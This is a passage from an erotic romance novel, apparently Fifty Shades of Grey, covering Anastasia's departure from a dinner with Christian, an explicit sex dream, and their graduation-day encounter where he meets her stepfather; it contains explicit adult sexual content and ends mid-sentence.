the food and the sleep.” + +“Why can’t I look at you?” + +“That’s a Dom/sub thing. You’ll get used to it.” + +Will I? + +“Why can’t I touch you?” + +“Because you can’t.” + +His mouth sets in a mulish line. + +“Is it because of Mrs. Robinson?” + +He looks quizzically at me. + +“Why would you think that?” And immediately he understands. “You think she trau- +matized me?” + +I nod. + +“No Anastasia. She’s not the reason. Besides, Mrs. Robinson wouldn’t take any of +that shit from me.” + +Oh... but I have to. I pout. + + +“So nothing to do with her.” + +“No. And I don’t want you touching yourself, either.” + +What? Ah yes, the no masturbation clause. + +“Out of curiosity... why?” + +“Because I want all your pleasure,” his voice is husky, but determined. + +Oh. . . I have no answer for that. On one level it’s up there with, ‘I want to bite that lip’, +on another, it’s so selfish. I frown and take a bite of cod, trying to assess mentally what +concessions I’ve gained. The food, the sleep, I can look him in the eye. He’s going to take +it slow, and we haven’t discussed soft limits. But I’m not sure I can face that over food. + +“I’ve given you a great deal to think about haven’t I?” + +“Yes.” + +“Do you want to go through the soft limits now too?” + +“Not over dinner.” + +He smiles. + +“Squeamish?” + +“Something like that.” + +“You’ve not eaten very much.” + +“I’ve had enough.” + +“Three oysters, four bites of cod, and one asparagus stalk, no potatoes, no nuts, no +olives, and you’ve not eaten all day. You said I could trust you.” + +Jeez. He’s kept an inventory. + +“Christian, please, it’s not every day I sit through conversations like this.” + +“I need you fit and healthy Anastasia.” + +“I know.” + +“And right now, I want to peel you out of that dress.” + +I swallow. Peel me out of Kate’s dress. I feel the pull deep in my belly. Muscles that +I’m now more acquainted with clench at his words. But I can’t have this. His most potent +weapon, used against me again. He’s so good at sex - even I’ve figured this out. + +“I don’t think that’s a good idea,” I murmur quietly. “We haven’t had dessert.” + +“You want dessert?” he snorts. + +“Yes.” + +“You could be dessert,” he murmurs suggestively. + +“I’m not sure I’m sweet enough.” + +“Anastasia, you’re deliciously sweet. I know.” + +“Christian. You use sex as a weapon. It really isn’t fair,” I whisper, staring down at my +hands, and then looking directly at him. He raises his eyebrows, surprised, and I see he’s +considering my words. He strokes his chin thoughtfully. + +“You’re right. I do. In life you use what you know, Anastasia. Doesn’t change how +much I want you. Here. Now.” + +How can he seduce me solely with his voice? I’m panting already - my heated blood +rushing through my veins, my nerves tingling. + +“I’d like to try something,” he breathes. + +I frown. He’s just given me a shit load of ideas to process and now this. + + +“If you were my sub, you wouldn’t have to think about this. It would be easy.” His +voice is soft, seductive. “All those decisions - all the wearying thought processes behind +them. The - is this the right thing to do? Should this happen here? Can it happen now? + +You wouldn’t have to worry about any of that detail. That’s what I’d do as your Dorn. And +right now, I know you want me, Anastasia.” + +My frown deepens. How can he tell? + +“I can tell because... ” + +Holy shit he’s answering my unspoken question. Is he psychic as well? + +“... Your body gives you away. You’re pressing your thighs together, you’re flushed, +and your breathing has changed.” + +O, this is too much. + +“How do you know about my thighs?” My voice is low, disbelieving. They’re under +the table for heaven’s sake. + +“I felt the tablecloth move, and it’s a calculated guess based on years of experience. +I’m right aren’t I?” + +I flush and stare down at my hands. That’s what I’m hindered by in this game of se- +duction. He’s the only one who knows and understands the rules. I’m just too naive and +inexperienced. My only sphere of reference is Kate, and she doesn’t take any shit from +men. My other references are all fictional: Elizabeth Bennett would be outraged, Jane Eyre +too frightened, and Tess would succumb, just as I have. + +“I haven’t finished my cod.” + +“You’d prefer cold cod to me?” + +My head jerks up to glare at him, and his gray eyes burn molten silver, with compel- +ling need. + +“I thought you liked me clearing my plate.” + +“Right now, Miss Steele, I couldn’t give a fuck about your food.” + +“Christian. You just don’t fight fair.” + +“I know. I never have.” + +My inner goddess frowns at me. You can do this, she coaxes - play this sex god at his +own game. Can I? Okay. What to do? My inexperience is an albatross around my neck. +Picking up a spear of asparagus, I gaze at him and bite my lip. Then very slowly put the tip +of my cold asparagus in my mouth and suck it. + +Christian’s eyes widen infinitesimally, but I notice. + +“Anastasia. What are you doing?” + +I bite off the tip. + +“Eating my asparagus.” + +Christian shifts in his seat. + +“I think you’re toying with me, Miss Steele.” + +I feign innocence. + +“I’m just finishing my food, Mr. Grey.” + +The waiter chooses this moment to knock and, unbidden, enter. He glances briefly at +Christian, who frowns at him but then nods, so the waiter clears our plates. The waiter’s +arrival has broken the spell. And I grasp this precious moment of clarity. I have to go. Our +meeting will only end one way if I stay, and I need some boundaries after such an intense + + +conversation. As much as my body craves his touch, my mind is rebelling. I need some +distance to think about all he’s said. I still haven’t made a decision, and his sexual allure +and prowess doesn’t make it any easier. + +“Would you like some dessert?” Christian asks, ever the gentleman, but his eyes still +blaze. + +“No, thank you. I think I should go.” I stare down at my hands. + +“Go?” He can’t hide his surprise. + +The waiter leaves hastily. + +“Yes.” It’s the right decision. If I stay here, in this room with him, he will fuck me. I +stand, purposefully. “We both have the graduation ceremony tomorrow.” + +Christian stands automatically, revealing years of ingrained civility. + +“I don’t want you to go.” + +“Please... I have to.” + +“Why?” + +“Because you’ve given me so much to consider... and I need some distance.” + +“I could make you stay,” he threatens. + +“Yes, you could easily, but I don’t want you to.” + +He runs his hand through his hair, regarding me carefully. + +“You know, when you fell into my office to interview me, you were all yes sir, no sir. + +I thought you were a natural born submissive. But quite frankly, Anastasia, I’m not sure +you have a submissive bone in your delectable body.” He moves slowly toward me as his +speaks, his voice tense. + +“You may be right,” I breathe. + +“I want the chance to explore the possibility that you do,” he murmurs, staring down at +me. He reaches up and caresses my face, his thumb tracing my lower lip. “I don’t know +any other way, Anastasia. This is who I am.” + +“I know.” + +He leans down to kiss me, but pauses before his lips touch mine, his eyes searching +mine, wanting, asking permission. I raise my lips to his, and he kisses me and because I +don’t know if I’ll ever kiss him again, I let go - my hands moving of their own accord and +twisting into his hair, pulling him to me, my mouth opening, my tongue stroking his. His +hand grasps the nape of my neck as he deepens the kiss, responding to my ardor. His other +hand slides down my back and flattens at the base of my spine as he pushes me against his +body. + +“I can’t persuade you to stay?” he breathes between kisses. + +“No.” + +“Spend the night with me.” + +“And not touch you? No.” + +He groans. + +“You impossible girl.” He pulls back, gazing down at me. “Why do I think you’re +telling me goodbye?” + +“Because I’m leaving now.” + +“That’s not what I mean, and you know it.” + + +“Christian, I have to think about this. I don’t know if I can have the kind of relation- +ship you want.” + +He closes his eyes and presses his forehead against mine, giving us both the opportu- +nity to slow our breathing. After a moment, he kisses my forehead, inhales deeply, his nose +in my hair, and then he releases me, stepping back. + +“As you wish, Miss Steele,” he says, his face impassive. “I’ll escort you to the lobby.” +He holds out his hand. Leaning down, I grab my purse and place my hand in his. Holy +crap, this could be it. I follow him meekly down the grand stairs and into the lobby, my +scalp prickling, my blood pumping. This could be the last goodbye if I decide to say no. + +My heart contracts painfully in my chest. What a turnaround. What a difference a moment +of clarity can make to a girl. + +“Do you have your valet ticket?” + +I fish into my clutch purse and hand him the ticket, which he gives to the doorman. I +peek up at him as we stand waiting. + +“Thank you for dinner,” I murmur. + +“It’s a pleasure as always, Miss Steele,” he says politely, though he looks deep in +thought, completely distracted. + +As I peer up at him, I commit his beautiful profile to memory. The idea that I might not +see him again haunts me, unwelcome and too painful to contemplate. He turns suddenly, +staring down at me, his expression intense. + +“You’re moving this weekend to Seattle. If you make the right decision, can I see you +on Sunday?” He sounds hesitant. + +“We’ll see. Maybe,” I breathe. Momentarily, he looks relieved, and then he frowns. + +“It’s cooler now, don’t you have a jacket?” + +“No.” + +He shakes his head in irritation and takes off his jacket. + +“Here. I don’t want you catching cold.” + +I blink up at him as he holds it open, and as I hold my arms out behind me, I’m re- +minded of the time in his office when he slipped my coat onto my shoulders - the first time +I met him - and the effect he had on me then. Nothing’s changed, in fact, it’s more intense. +His jacket is warm, far too big, and it smells of him. Oh my. . . delicious. + +My car pulls up outside. Christian’s mouth drops open. + +“That’s what you drive?” He’s appalled. Taking my hand, he leads me outside. The +valet jumps out and hands me my keys, and Christian coolly palms him some money. + +“Is this roadworthy?” He’s glaring at me now. + +“Yes.” + +“Will it make it to Seattle?” + +“Yes. She will.” + +“Safely?” + +“Yes,” I snap, exasperated. “Okay she’s old. But she’s mine, and she’s roadworthy. + +My stepdad bought it for me.” + +“Oh, Anastasia, I think we can do better than this.” + +“What do you mean?” Realization dawns. “You are not buying me a car.” + +He glowers at me, his jaw tense. + + +“We’ll see,” he says tightly. + +He grimaces as he opens the driver’s door and helps me in. I take my shoes off and roll +down the window. He’s gazing at me, his expression unfathomable, eyes dark. + +“Drive safely,” he says quietly. + +“Goodbye, Christian.” My voice is hoarse from unbidden, unshed tears - jeez I’m not +going to cry. I give him a small smile. + +As I drive away, my chest constricts, my tears start to fall, and I choke back a sob. + +Soon tears are streaming down my face, and I really don’t understand why I’m crying. I +was holding my own. He explained everything. He was clear. He wants me, but the truth +is, I need more. I need him to want me like I want and need him, and deep down I know +that’s not possible. I am just overwhelmed. + +I don’t even know how to categorize him. If I do this thing... will he be my boyfriend? +Will I be able to introduce him to my friends? Go out to bars, the cinema, bowling even, +with him? The truth is, I don’t think I will. He won’t let me touch him and he won’t let me +sleep with him. I know I’ve not had these things in my past, but I want them in my future. + +And that’s not the future he envisages. + +What if I do say yes, and in three months’ time he says no, he’s had enough of trying +to mold me into something I’m not. How will I feel? I’ll have emotionally invested three +months, doing things that I’m not sure I want to do. And if he then says no, agreement over, +how could I cope with that level of rejection? Perhaps it’s best to back away now with what +self-esteem I have reasonably intact. + +But the thought of not seeing him again is agonizing. How has he gotten under my +skin so quickly? It can’t just be the sex... can it? I dash the tears from my eyes. I don’t +want to examine my feelings for him. I’m frightened what I’ll uncover if I do. What am +I going to do? + +I park up outside our duplex. No lights on. Kate must be out. I’m relieved. I don’t +want her to catch me crying again. As I undress, I wake up the mean machine and sitting +in my inbox is a message from Christian. + + +From: Christian Grey +Subject: Tonight +Date: May 25 2011 22:01 +To: Anastasia Steele + +I don’t understand why you ran this evening. I sincerely hope I answered all your ques- +tions to your satisfaction. I know I have given you a great deal to contemplate, and I +fervently hope that you will give my proposal your serious consideration. I really want to +make this work. We will take it slow. + +Trust me. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +His email makes me weep more. I am not a merger. I am not an acquisition. Reading this, + +I might as well be. I don’t reply. I just don’t know what to say to him. I fumble into my +PJs, and wrapping his jacket around me. I climb into bed. As I lie staring into the darkness, +I think of all the times he warned me to stay away. + + +‘Anastasia, you should steer clear of me. I’m not the man for you.’ +‘I don’t do the girlfriend thing.’ + +‘I’m not a hearts and flowers kind of guy.’ + +‘I don’t make love. ’This is all I know.’ + + +And as I weep into my pillow silently, it’s this last idea I cling to. This is all I know, too. +Perhaps together we can chart a new course. + + +Chapter Fourteen + + +Christian is standing over me grasping a plaited, leather riding-crop. He’s wearing old, +faded, ripped Levis and that’s all. He flicks the crop slowly into his palm as he gazes down +at me. He’s smiling, triumphant. I cannot move. I am naked and shackled, spread-eagled +on a large four-poster bed. Reaching forward, he trails the tip of the crop from my forehead +down the length of my nose, so I can smell the leather, and over my parted, panting lips. +He pushes the tip into my mouth so I can taste the smooth, rich leather. + +“Suck,” he commands his voice soft. My mouth closes over the tip as I obey. + +“Enough,” he snaps. + +I’m panting once more as he tugs the crop out of my mouth, trails it down and under +my chin, on down my neck to the hollow at the base of my throat. He swirls it slowly there +and then continues to drag the tip down my body, along my sternum, between my breasts, +over my torso down to my navel. I’m panting, squirming, pulling against my restraints that +are biting into my wrists and my ankles. He swirls the tip around my navel then continues +to trail the leather tip south, through my pubic hair to my clitoris. He flicks the crop and it +hits my sweet spot with a sharp slap, and I come, gloriously, shouting my release. + +Abruptly, I wake, gasping for breath, covered in sweat and feeling the aftershocks of +my orgasm. Holy hell. I’m completely disorientated. What the hell just happened? I’m +in my bedroom alone. How? Why? I sit bolt upright, shocked... wow. It’s morning. I +glance at my alarm clock - eight o’clock. I put my head in my hands. I didn’t know I + + +could dream sex. Was it something I ate? Perhaps the oysters and my Internet research +manifesting itself in my first wet dream. It’s bewildering. I had no idea that I could orgasm +in my sleep. + +Kate is skipping around the kitchen when I stagger in. + +“Ana, are you okay? You look odd. Is that Christian’s jacket you’re wearing?” + +“I’m fine.” Damn, should have checked in the mirror. I avoid her piercing green eyes. +I’m still reeling from my morning’s event. “Yes, this is Christian’s jacket.” + +She frowns. + +“Did you sleep?” + +“Not very well.” + +I head for the kettle. I need tea. + +“How was dinner?” + +So it begins. + +“We had oysters. Followed by cod, so I’d say it was fishy.” + +“Ugh. . . I hate oysters, and I don’t want to know about the food. How was Christian? +What did you talk about?” + +“He was attentive,” I pause. + +What can I say? His HIV status is clear, he’s heavily into role-play, wants me to obey +his every command, he hurt someone he tied to his bedroom ceiling, and he wanted to +fuck me in the private dining room. Would that be a good summary? I try desperately to +remember something from my encounter with Christian that I can discuss with Kate. + +“He doesn’t approve of Wanda.” + +“Who does, Ana? That’s old news. Why are you being so coy? Give it up, girlfriend.” +“Oh, Kate, we talked about lots things. You know - how fussy he is about food. Inci- +dentally, he liked your dress.” The kettle has boiled, so I make myself some tea. “Do you +want tea? Would you like me to hear your speech for today?” + +“Yes, please. I worked on it last night over at Lilah’s. I’ll go fetch it. And yes, I’d love +some tea.” Kate races out of the kitchen. + +Phew, Katherine Kavanagh sidetracked. I slice a bagel and pop it into the toaster. I +flush remembering my very vivid dream. What on earth was that about? + +Last night I found it hard to sleep. My head was buzzing with various options. I am +so confused. Christian’s idea of a relationship is more like a job offer. It has set hours, a +job description, and a rather harsh grievance procedure. It’s not how I envisaged my first +romance - but, of course, Christian doesn’t do romance. If I tell him I want more, he may +say no... and I could jeopardize what he has offered. And this is what concerns me most, +because I don’t want to lose him. But I’m not sure I have the stomach to be his submissive +- deep down, it’s the canes and whips that put me off. I’m a physical coward, and I will go +a long way to avoid pain. I think of my dream... is that what it would be like? My inner +goddess jumps up and down with cheerleading pom-poms shouting yes at me. + +Kate comes back into the kitchen with her laptop. I concentrate on my bagel and listen +patiently as she runs through her Valedictorian speech. + + +I am dressed and ready when Ray arrives. I open the front door, and he’s standing on the +porch in his ill-fitting suit. A warm surge of gratitude and love for this uncomplicated man +streaks through me, and I throw my arms around him in an uncharacteristic display of af- +fection. He’s taken-aback, bemused. + +“Hey, Annie, I’m pleased to see you too,” he mutters as he hugs me. Setting me back, +his hands on my shoulders, he looks me up and down, his brow furrowed. “You okay, kid?” + +“Of course, Dad, can’t a girl be pleased to see her old man?” + +He smiles, his dark eyes crinkling at the corners, and follows me into the living area. + +“You look good,” he says. + +“This is Kate’s dress.” I glance down at the grey chiffon halter neck dress. + +He frowns. + +“Where is Kate?” + +“She’s gone to campus. She’s giving a speech, so she has to be early.” + +“Should we head on over?” + +“Dad, we have half an hour. Would you like some tea? And you can tell me how ev- +eryone in Montesano is getting along. How was the drive down?” + + +Ray pulls his car into the campus parking lot, and we follow the stream of humanity dotted +with ubiquitous black and red gowns, heading toward the sports auditorium. + +“Good luck, Annie. You seem awfully nervous, do you have to do anything?” + +Holy crap... why has Ray picked today to be so observant? + +“No, Dad. It’s a big day.” And I’m going to see him. + +“Yeah, my baby girl has gotten a degree. I’m proud of you, Annie.” + +“Aw... thanks Ray.” Oh I love this man. + +The sports auditorium is crowded. Ray has gone to sit with the other parents and +well-wishers in the raked seating, while I make my way to my seat. I’m wearing my black +gown and my cap, and I feel protected by them, anonymous. There is no one on the stage +yet, but I can’t seem to steady my nerves. My heart is pounding, and my breathing is shal- +low. He’s here, somewhere. I wonder if Kate is talking to him, interrogating him maybe. + +I make my way to my seat amongst fellow students whose surnames also begin with S. I +am in the second row, affording me yet more anonymity. I glance behind me and spot Ray +sat up high in the bleachers. I give him a wave. He self-consciously gives me a half-wave, +half-salute back. I sit and wait. + +The auditorium fills quickly, and the buzz of excited voices gets louder and louder. The +row of seats in front fills. On either side of me, I am joined by two girls whom I don’t know +from a different faculty. They’re obviously close friends and talk across me excitedly. + +At eleven precisely, the Chancellor appears from behind the stage, followed by the +three Vice Chancellors, and then the senior professors, all decked out in their black and red +regalia. We stand and applaud our teaching staff. Some Professors nod and wave, others +look bored. Professor Collins, my tutor and my favorite teacher, looks like he’s just fallen +out of bed, as usual. Last on to the stage are Kate and Christian. Christian stands out in +his bespoke gray suit, copper highlights glinting in his hair under the auditorium lights. He +looks so serious and self-contained. As he sits, he undoes his single-breasted jacket, and I + + +glimpse his tie. Holy shit... that tie! I rub my wrists reflexively. I cannot take my eyes off +him - his beauty as distracting as ever - and he’s wearing that tie, on purpose no doubt. I +can feel my mouth press into a hard line. The audience sits down and the applause ceases. + +“Look at him!” One of the girls beside me breathes enthusiastically to her friend. + +“He’s hot.” + +I stiffen. I’m sure they’re not talking about Professor Collins. + +“Must be Christian Grey.” + +“Is he single?” + +I bristle. + +“I don’t think so,” I murmur. + +“Oh.” Both girls look at me in surprise. + +“I think he’s gay,” I mutter. + +“What a shame,” one of the girls groans. + +As the Chancellor gets to his feet and kicks off the proceedings with his speech, I +watch Christian subtly scanning the hall. I sink into my seat, hunching my shoulders, +trying to make myself as inconspicuous as possible. I fail miserably as a second later his +gray eyes find mine. He stares at me, his face impassive, completely inscrutable. I squirm +uncomfortably, hypnotized by his glare as I feel a slow flush spread across my face. Unbid- +den, I recall my dream from this morning, and the muscles in my belly do the delectable +clench thing. I inhale sharply. I can see the shadow of a smile cross his lips, but it’s fleet- +ing. He briefly closes his eyes, and on opening them, resumes his indifferent expression. +Following a swift glance up at the Chancellor, he stares ahead, focusing on the WSUV em- +blem hung above the entrance. He doesn’t turn his eyes toward me again. The Chancellor +drones on, and Christian still doesn’t look at me, he just stares fixedly ahead. + +Why won’t he look at me? Perhaps he’s changed his mind? A wave of unease washes +over me. Perhaps walking out on him last night was the end for him too. He’s bored of +waiting for me to make up my mind. Oh no, I could have completely blown it. I remember +his email last night. Maybe he’s mad that I haven’t replied. + +Suddenly, the room erupts into applause as Miss Katherine Kavanagh has taken the +stage. The Chancellor sits, and Kate tosses her lovely long hair behind her as she places +her papers on the lectern. She takes her time, not intimidated by a thousand people gawp- +ing at her. She smiles when she’s ready, looks up at the captivated throng, and launches +eloquently into her speech. She’s so composed and funny, the girls beside me erupt on cue +at her first joke. Oh, Katherine Kavanagh, you can deliver a good line. I feel so proud of +her at that moment, my errant thoughts of Christian are pushed to one side. Even though +I have heard her speech before, I listen carefully. She commands the room and takes her +audience with her. + +Her theme is What Next After College? Oh, what next indeed. Christian is watching +Kate, his eyebrows slightly raised - in surprise, I think. Yes, it could have been Kate that +went to interview him. And it could have been Kate that he was now making indecent +proposals to. Beautiful Kate and beautiful Christian, together. I could be like the two girls +beside me, admiring him from afar. I know Kate wouldn’t have given him the time of day. +What did she call him the other day? Creepy. The thought of a confrontation between Kate + + +and Christian makes me uncomfortable. I have to say I don’t know which of them I would +put my money on. + +Kate concludes her speech with a flourish, and spontaneously everyone stands, ap- +plauding and cheering, her first standing ovation. I beam at her and cheer, and she grins +back at me. Good job, Kate. She sits, as does the audience, and the Chancellor rises and in- +troduces Christian... holy shit, Christian’s going to give a speech. The Chancellor touches +briefly on Christian’s achievements: CEO of his own extraordinarily successful company, +a real self-made man. + +“And also a major benefactor to our University, please welcome, Mr. Christian Grey.” + +The Chancellor pumps Christian’s hand, and there is a swell of polite applause. My +heart’s in my throat. He approaches the lectern and surveys the hall. He looks so confident +standing in front of us all, as Kate did before him. The two girls beside me lean in, enrap- +tured. In fact, I think most of the female members of the audience inch closer and a few of +the men. He begins, his voice soft, measured, and mesmerizing. + +“I’m profoundly grateful and touched by the great compliment accorded to me by the +authorities of WSU today. It offers me a rare opportunity to talk about the impressive work +of the environmental science department here at the University. Our aim is to develop via- +ble and ecologically sustainable methods of farming for third world countries; our ultimate +goal is to help eradicate hunger and poverty across the globe. Over a billion people, mainly +in Sub-Saharan Africa, South Asia, and Latin America, live in abject poverty. Agricultural +dysfunction is rife within these parts of the world and the result is ecological and social +destruction. I have known what it’s like to be profoundly hungry. This is a very personal +journey for me... ” + +My jaw falls to the floor. What? Christian was hungry once. Holy crap. Well, that ex- +plains a great deal. And I recall the interview; he really does want to feed the world. I des- +perately rack my brains to remember what Kate had written in her article. Adopted at age +four, I think. I can’t imagine that Grace starved him, so it must have been before then, as +a little boy. I swallow, my heart constricting at the thought of a hungry, gray-eyed toddler. + +Oh no. What kind of life did he have before the Greys got hold of him and rescued him? + +I’m seized by a sense of raw outrage, poor, fucked-up, kinky, philanthropic Christian - +though I’m sure he wouldn’t see himself this way and would repel any thoughts of sympa- +thy or pity. Abruptly, everyone bursts into applause and stands. I follow, though I haven’t +heard half his speech. He’s doing all of these good works, running a huge company, and +chasing me at the same time. It’s overwhelming. I remember the brief snippets of conver- +sations he’s had about Darfur... it all falls into place. Food. + +He smiles briefly at the warm applause - even Kate is clapping, then he resumes his +seat. He doesn’t look my way, and I’m off-kilter trying to assimilate this new information +about him. + +One of the Vice Chancellors rises, and we begin the long, tedious process of collecting +our degrees. There are over four hundred to be given out, and it takes just over an hour +before I hear my name. I make my way up to the stage between the two giggling girls. +Christian gazes down at me, his gaze warm but guarded. + +“Congratulations, Miss Steele,” he says as he shakes my hand, squeezing it gently. I +feel the charge of his flesh on mine. “Do you have a problem with your laptop?” + + +I frown as he hands me my deqree. + +“No.” + +“Then you are ignoring my emails?” + +“I only saw the mergers and acquisitions one.” + +He looks quizzically at me. + +“Later,” he says, and I have to move on because I’m holding up the line. + +I go back to my seat. Emails? He must have sent another. What did it say? + +The ceremony takes another hour to conclude. It’s interminable. Finally, the Chan- +cellor leads the faculty members off the stage to yet more rousing applause, preceded by +Christian and Kate. Christian does not glance at me, even though I’m willing him to do it. + +My inner goddess is not pleased. + +As I stand and wait for our row to disperse, Kate calls to me. She’s heading my way +from behind the stage. + +“Christian wants to talk to you,” she shouts. The two girls who are now standing be- +side me turn and gape at me. + +“He’s sent me out here,” she continues. + +Oh... + +“Your speech was great, Kate.” + +“It was, wasn’t it?” she beams. “Are you coming? He can be very insistent.” She rolls +her eyes, and I grin. + +“You have no idea. I can’t leave Ray for long.” I glance up at Ray and hold my fingers +up indicating five minutes. He nods, giving me an okay sign, and I follow Kate into the +corridor behind the stage. Christian is talking to the Chancellor and two of the teaching +staff. He looks up when he sees me. + +“Excuse me, gentlemen,” I hear him murmur. He comes toward me and smiles briefly +at Kate. + +“Thank you,” he says, and before she can reply, he takes my elbow and steers me into +what looks like a men’s locker room. He checks to see if it’s empty, and then he locks the +door. + +Holy shit, what does he have in mind? I blink up at him as he turns on me. + +“Why haven’t you emailed me? Or texted me back?” He glares. I’m nonplussed. + +“I haven’t looked at my computer today, or my phone.” Crap, has he been trying to +call? I try my distraction technique that’s so effective on Kate. “That was a great speech.” +“Thank you.” + +“Explains your food issues to me.” + +He runs a hand through his hair, exasperated. + +“Anastasia, I don’t want to go there at the moment.” He closes his eyes, looking pained. +“I’ve been worried about you.” + +“Worried, why?” + +“Because you went home in that deathtrap you call a car.” + +“What? It’s not a deathtrap. It’s fine. Jose regularly services it for me.” + +“Jose, the photographer?” Christian’s eyes narrow, his face frosting. Oh Crap. + +“Yes, the Beetle used to belong to his mother.” + +“Yes, and probably her mother and her mother before her. It’s not safe.” + + +“I’ve been driving it for over three years. I’m sorry you were worried. Why didn’t you +call?” Jeez, he’s completely over-reacting. + +He takes a deep breath. + +“Anastasia, I need an answer from you. This waiting around is driving me crazy.” +“Christian, I... look, I’ve left my stepdad on his own.” + +“Tomorrow. I want an answer by tomorrow.” + +“Okay. Tomorrow, I’ll tell you then.” I blink at him. + +He steps back, regarding me coolly, and his shoulders relax. + +“Are you staying for drinks?” he asks. + +“I don’t know what Ray wants to do.” + +“Your stepfather? I’d like to meet him.” + +Oh no... why? + +“I’m not sure that’s a good idea.” + +Christian unlocks the door, his mouth in a grim line. + +“Are you ashamed of me?” + +“No!” It’s my turn to sound exasperated. “Introduce you to my dad as what? This is +the man who deflowered me and wants us to start a BDSM relationship’. You’re not wear- +ing running shoes.” + +Christian glares down at me, and then his lips twitch up in a smile. And in spite of the +fact I’m mad at him, my face is unwillingly pulled into an answering grin. + +“Just so you know, I can run quite fast. Just tell him I’m your friend, Anastasia.” + +He opens the door, and I head out. My mind is whirling. The Chancellor, the three +Vice Chancellors, four professors, and Kate stare at me as I walk hastily past them. Holy +crap. Leaving Christian with the faculty I go in search of Ray. + +Tell him I’m your friend. Friend with benefits, my subconscious scowls. I know, I +know. I shake the unpleasant thought away. How will I introduce him to Ray? The hall is +still at least half full, and Ray has not moved from his spot. He sees me, waves, and makes +his way down. + +“Hey, Annie. Congratulations.” He puts his arm around me. + +“Would you like to come and have a drink in the marquee?” + +“Sure. It’s your day. Lead the way.” + +“We don’t have to if you don’t want to.” Please say no... + +“Annie, I’ve just sat for two and half hours listening to all kinds of jabbering. I need +a drink.” + +I put my arm through his, and we stroll out with the throng into the warmth of the early +afternoon. We pass the line for the official photographer. + +“Oh, that reminds me.” Ray drags a digital camera out of his pocket. “One for the +album, Annie.” I roll my eyes at him as he snaps a picture of me. + +“Can I take the cap and gown off now? I feel kind of dorky.” + +You look kinda dorky... my subconscious is at her snarky best. So are you going to +introduce Ray to the man you’re fucking? She is glaring at me over her wing-shaped spec- +tacles. He’d be so proud. God, I hate her sometimes. + + +The marquee is immense, and crowded - students, parents, teachers, and friends, all +chattering happily. Ray hands me a glass of champagne or cheap fizzy wine, I suspect. It’s +not chilled, and it tastes sweet. My thoughts turn to Christian... he won’t like this. + +“Ana!” I turn, and Ethan Kavanagh scoops me into his arms. He twirls me around, +without spilling my wine, some feat. + +“Congratulations!” He beams down at me, green eyes twinkling. + +What a surprise. His dirty blonde hair tousled and sexy-looking. He’s as beautiful as +Kate. The family resemblance is striking. + +“Wow - Ethan! How lovely to see you. Dad, this is Ethan, Kate’s brother. Ethan, this +is my dad, Ray Steele.” They shake hands, my dad coolly assessing Mr. Kavanagh. + +“When did you get back from Europe?” I ask. + +“I’ve been back for a week, but I wanted to surprise my little sister,” he says conspira- +torially. + +“That’s so sweet.” I grin up at him. + +“She is Valedictorian, couldn’t miss that.” He looks immensely proud of his sister. + +“She gave a great speech.” + +“That she did,” Ray agrees. + +Ethan has his arm around my waist when I look up into the frosty gray eyes of Chris- +tian Grey. Kate is beside him. + +“Hello, Ray,” Kate kisses Ray on both cheeks, making him blush. “Have you met +Ana’s boyfriend? Christian Grey.” + +Holy shit... Kate! Fuck! All the blood drains from my face. + +“Mr. Steele, it’s a pleasure to meet you.” Christian says smoothly, warmly, completely +unflustered by Kate’s introduction. He holds out his hand, which, all credit to Ray, Ray +takes, not showing a hint of the drop-dead surprise he’s just had thrust upon him. + +Thank you very much, Katherine Kavanagh, I fume. I think my subconscious has +fainted. + +“Mr. Grey,” Ray murmurs, his expression indecipherable except perhaps for the slight +widening of his big brown eyes. They slide over my face with a when-were-you-going-to- +give-me-this-news look. I bite my lip. + +“And this is my brother, Ethan Kavanagh.” says Kate to Christian. + +Christian turns his arctic glare on Ethan, who still has one arm around me. + +“Mr. Kavanagh.” + +They shake hands. Christian holds his hand out to me. + +“Ana, baby,” he murmurs, and I nearly expire at the endearment. + +I walk out of Ethan’s grasp, while Christian smiles icily at him, and I take my place at +his side. Kate grins at me. She knows exactly what she’s doing, the vixen! + +“Ethan, Mom and Dad wanted a word.” Kate drags Ethan away. + +“So how long have you kids known each other?” Ray looks impassively from Christian +to me. + +The power of speech has deserted me. I want the ground to swallow me up. Christian +puts his arm around me, his thumb skimming my naked back in a caress, before his hand +clasps my shoulder. + + +“Couple of weeks or so now,” he says smoothly. “We met when Anastasia came to +interview me for the student magazine.” + +“Didn’t know you worked on the student magazine, Ana.” Ray’s voice is a quiet ad- +monishment, revealing his irritation. Shit. + +“Kate was ill,” I murmur. It’s all I can manage. + +“Fine speech you gave, Mr. Grey.” + +“Thank you, sir. I understand that you’re a keen fisherman.” + +Ray raises his eyebrows and smiles - a rare, genuine, bona fide Ray Steele smile - and +off they go, talking fish. In fact, I soon feel surplus to requirements. He’s charming the +pants off my dad... like he did you, my subconscious snaps at me. His power knows no +bounds. I excuse myself to go and find Kate. + +She’s talking to her parents, who are delightful as ever and greet me warmly. We ex- +change brief pleasantries, mostly about their up and coming holiday to Barbados and about +our move. + +“Kate, how could you out me to Ray?” I hiss at the first opportunity we won’t be over- +heard. + +“Because I knew you never would, and I want to help with Christian’s commitment +issues.” Kate smiles at me sweetly. + +I scowl. It’s me that won’t commit to him, silly! + +“He seems tres cool about it, Ana. Don’t sweat it. Look at him now - Christian cannot +take his eyes off you.” I glance up, and both Ray and Christian are looking at me. “He’s +been watching you like a hawk.” + +“I’d better go rescue Ray or Christian. I don’t know which. You haven’t heard the last +of this, Katherine Kavanagh!” I glare at her. + +“Ana, I did you a favor,” she calls after me. + +“Hi.” I smile at both of them on my return. + +They seem okay. Christian is enjoying some private joke, and my dad looks unbeliev- +ably relaxed given he’s in a social situation. What have they been discussing apart from +fish? + +“Ana, where are the restrooms?” + +“Back out front of the marquee and to the left.” + +“See you in a moment. You kids enjoy yourselves.” + +Ray heads out. I glance nervously up at Christian. We pause briefly as a photographer +takes a picture of both of us. + +“Thank you, Mr. Grey.” The photographer scurries off. I blink from the flash. + +“So you’ve charmed my father as well?” + +“As well?” Christian’s gray eyes burn, and he raises a questioning eyebrow. I flush. + +He lifts his hand and traces my cheek with his fingers. + +“Oh, I wish I knew what you were thinking, Anastasia,” he whispers darkly, cupping +my chin and raising my head so that we gaze intently into each other’s eyes. + +My breath hitches. How can he have this effect on me, even in this crowded tent? + +“Right now, I’m thinking, nice tie,” I breathe. + +He chuckles. + +“It’s recently become my favorite.” + + +I blush scarlet. + +“You look lovely, Anastasia, this halter-neck dress suits you, and I get to stroke your +back, feel your beautiful skin.” + +Suddenly, it’s like we’re on our own in the room. Just the two of us, my whole body +has come alive, every nerve ending singing softly, that electricity pulling me to him, charg- +ing between us. + +“You know it’s going to be good, don’t you, baby?” he whispers. I close my eyes as +my insides 